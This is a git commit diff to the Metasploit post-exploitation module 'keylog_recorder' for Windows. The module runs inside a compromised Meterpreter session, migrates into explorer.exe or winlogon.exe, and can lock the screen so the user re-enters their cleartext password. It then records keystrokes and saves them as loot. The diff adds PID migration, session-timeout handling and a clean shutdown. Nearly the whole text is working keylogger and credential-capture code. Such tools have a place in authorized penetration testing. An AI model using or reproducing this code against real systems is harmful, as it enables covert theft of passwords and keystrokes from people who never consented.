Update for windows keylog_recorder

bug/bundler_fix
Josh Hale 2016-07-16 22:38:10 -05:00
parent b13d0f879a
commit 9cb9a2f69d
1 changed files with 270 additions and 112 deletions

View File

@ -22,10 +22,11 @@ class MetasploitModule < Msf::Post
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
password.
password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Josh Hale <jhale85446[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', ]
@ -34,7 +35,7 @@ class MetasploitModule < Msf::Post
[
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]),
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
'explorer', ['explorer','winlogon','pid']])
@ -42,41 +43,66 @@ class MetasploitModule < Msf::Post
], self.class)
register_advanced_options(
[
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false])
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
OptEnum.new('TimeOutAction', [true, 'Action to take when Session Communication Timeout occurs.',
'wait', ['wait','exit']])
], self.class)
end
# Run Method for when run command is issued
def run
print_status("Executing module against #{sysinfo['Computer']}")
if datastore['MIGRATE']
case datastore['CAPTURE_TYPE']
when "explorer"
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "winlogon"
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "pid"
if datastore['PID'] and has_pid?(datastore['PID'])
pid_migrate(datastore['PID'])
else
print_error("If capture type is pid you must provide a valid one")
return
if datastore['CAPTURE_TYPE'] == "pid"
if !migrate_pid(datastore['PID'], session.sys.process.getpid)
print_error("Unable to migrate to given PID. Using Explorer instead.")
return unless process_migrate
end
else
return unless process_migrate
end
end
if startkeylogger
keycap(datastore['INTERVAL'],set_log)
lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe"
if start_keylogger
@logfile = set_log
keycap
end
end
# Returns the path name to the stored loot filename
# Initial Setup values
#
# @return [void] A useful return value is not expected here
def setup
@logfile = nil
@timed_out = false
@timed_out_age = nil # Session age when it timed out
@interval = datastore['INTERVAL'].to_i
@wait = datastore['TimeOutAction'] == "wait" ? true : false
if @interval < 1
print_error("INTERVAL value out of bounds. Setting to 5.")
@interval = 5
end
end
# This function sets the log file and loot entry.
#
# @return [StringClass] Returns the path name to the stored loot filename
def set_log
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes")
end
# This writes a timestamp event to the output file.
#
# @return [void] A useful return value is not expected here
def time_stamp(event)
file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
end
# This locks the Windows screen if so requested in the datastore.
#
# @return [void] A useful return value is not expected here
def lock_screen
print_status("Locking the desktop...")
lock_info = session.railgun.user32.LockWorkStation()
@ -87,116 +113,248 @@ class MetasploitModule < Msf::Post
end
end
# Method to Migrate in to Explorer process to be able to interact with desktop
def process_migrate(captype,lock)
print_status("Migration type #{captype}")
#begin
if captype == "explorer"
process2mig = "explorer.exe"
elsif captype == "winlogon"
# This function returns the process name that the session is running in.
#
# Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#
# @return [String Class] the session process's name
# @return [NilClass] Session match was not found
def get_process_name
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['pid'] == session.sys.process.getpid
return proc['name']
end
end
return nil
end
# This function evaluates the capture type and migrates accordingly.
# In the event of errors, it will default to the explorer capture type.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def process_migrate
captype = datastore['CAPTURE_TYPE']
if captype == "winlogon"
if is_uac_enabled? and not is_admin?
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
end
process2mig = "winlogon.exe"
if lock
lock_screen
end
else
process2mig = "explorer.exe"
end
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
session.core.migrate(x['pid'].to_i)
print_status("Migration successful!!")
print_error("UAC is enabled on this host! Winlogon migration will be blocked. Using Explorer instead.")
else
return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
end
end
return true
return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid)
end
# Method for migrating in to a PID
def pid_migrate(pid)
print_status("\tMigrating into #{pid}...")
session.core.migrate(pid)
print_status("Migration successful!")
# This function returns the first process id of a process with the name provided.
# It will make sure that the process has a visible user meaning that the session has rights to that process.
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#
# @return [Fixnum] the PID if one is found
# @return [NilClass] if no PID was found
def get_pid(proc_name)
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['name'] == proc_name && proc['user'] != ""
return proc['pid']
end
end
return nil
end
# Method for starting the keylogger
def startkeylogger()
begin
#print_status("Grabbing Desktop Keyboard Input...")
#session.ui.grab_desktop
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
# This function attempts to migrate to the specified process by Name.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate(target_pid, proc_name, current_pid)
if !target_pid
print_error("Could not migrate to #{proc_name}.")
return false
end
print_status("Trying #{proc_name} (#{target_pid})")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue
print_error("Failed to start the keystroke sniffer: #{$!}")
end
begin
client.core.migrate(target_pid)
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue ::Rex::RuntimeError => error
print_error("Could not migrate to #{proc_name}.")
print_error(error.to_s)
return false
end
end
# Method for writing found keystrokes
def write_keylog_data(logfile)
data = session.ui.keyscan_dump
outp = ""
data.unpack("n*").each do |inp|
fl = (inp & 0xff00) >> 8
vk = (inp & 0xff)
kc = VirtualKeyCodes[vk]
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
# This function attempts to migrate to the specified process by PID only.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate_pid(target_pid, current_pid)
if !target_pid
print_error("Could not migrate to PID #{target_pid}.")
return false
end
sleep(2)
if not outp.empty?
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes']
file_local_write(logfile,"#{outp}\n")
if !has_pid?(target_pid)
print_error("Could not migrate to PID #{target_pid}. Does not exist!")
return false
end
print_status("Trying PID: #{target_pid}")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
end
end
# Method for Collecting Capture
def keycap(keytime, logfile)
begin
rec = 1
#Creating DB for captured keystrokes
print_status("Keystrokes being saved in to #{logfile}")
#Inserting keystrokes every number of seconds specified
print_status("Recording keystrokes...")
while rec == 1
write_keylog_data(logfile)
sleep(keytime.to_i)
end
rescue::Exception => e
print_status "Saving last few keystrokes..."
write_keylog_data(logfile)
print_status("#{e.class} #{e}")
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop
client.core.migrate(target_pid)
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue ::Rex::RuntimeError => error
print_error("Could not migrate to PID #{target_pid}.")
print_error(error.to_s)
return false
end
end
def cleanup
session.ui.keyscan_stop rescue nil
# This function starts the keylogger
#
# @return [TrueClass] keylogger started successfully
# @return [FalseClass] keylogger failed to start
def start_keylogger
session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason.
begin
print_status("Starting the keylog recorder...")
session.ui.keyscan_start
return true
rescue
print_error("Failed to start the keylog recorder: #{$!}")
return false
end
end
# This function dumps the keyscan and uses the API function to parse
# the extracted keystrokes.
#
# @return [void] A useful return value is not expected here
def write_keylog_data
output = session.ui.keyscan_extract(session.ui.keyscan_dump)
if not output.empty?
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
file_local_write(@logfile,"#{output}\n")
end
end
# This function manages the key recording process
# It stops the process if the session is killed or goes stale
#
# @return [void] A useful return value is not expected here
def keycap
rec = 1
print_status("Keystrokes being saved in to #{@logfile}")
print_status("Recording keystrokes...")
while rec == 1
begin
sleep(@interval)
if session_good?
write_keylog_data
else
if !session.alive?
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
rec = 0
end
end
rescue::Exception => e
if e.class.to_s == "Rex::TimeoutError"
@timed_out_age = get_session_age
@timed_out = true
if @wait
time_stamp("timed out - now waiting")
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
else
time_stamp("timed out - exiting")
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
rec = 0
end
elsif e.class.to_s == "Interrupt"
print_status("User interrupt.")
rec = 0
else
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
@timed_out = true
rec = 0
end
end
end
end
# This function returns the number of seconds since the last time
# that the session checked in.
#
# @return [Integer Class] Number of seconds since last checkin
def get_session_age
return Time.now.to_i - session.last_checkin.to_i
end
# This function makes sure a session is still alive acording to the Framework.
# It also checks the timed_out flag. Upon resume of session it resets the flag so
# that logging can start again.
#
# @return [TrueClass] Session is still alive (Framework) and not timed out
# @return [FalseClass] Session is dead or timed out
def session_good?
return false if !session.alive?
if @timed_out
if get_session_age < @timed_out_age && @wait
time_stamp("resumed")
@timed_out = false #reset timed out to false, if module set to wait and session becomes active again.
end
return !@timed_out
end
return true
end
# This function writes off the last set of key strokes
# and shuts down the key logger
#
# @return [void] A useful return value is not expected here
def finish_up
print_status("Shutting down keylog recorder. Please wait...")
last_known_timeout = session.response_timeout
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
begin
write_keylog_data
rescue::Exception => e
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
session.response_timeout = last_known_timeout
return
end
session.ui.keyscan_stop rescue nil
session.response_timeout = last_known_timeout
end
# This function cleans up the module.
# finish_up was added for a clean exit when this module is run as a job.
#
# Known Issue: This appears to run twice when killing the job. Not sure why.
# Does not cause issues with output or errors.
#
# @return [void] A useful return value is not expected here
def cleanup
finish_up if session_good?
time_stamp("exited")
end
end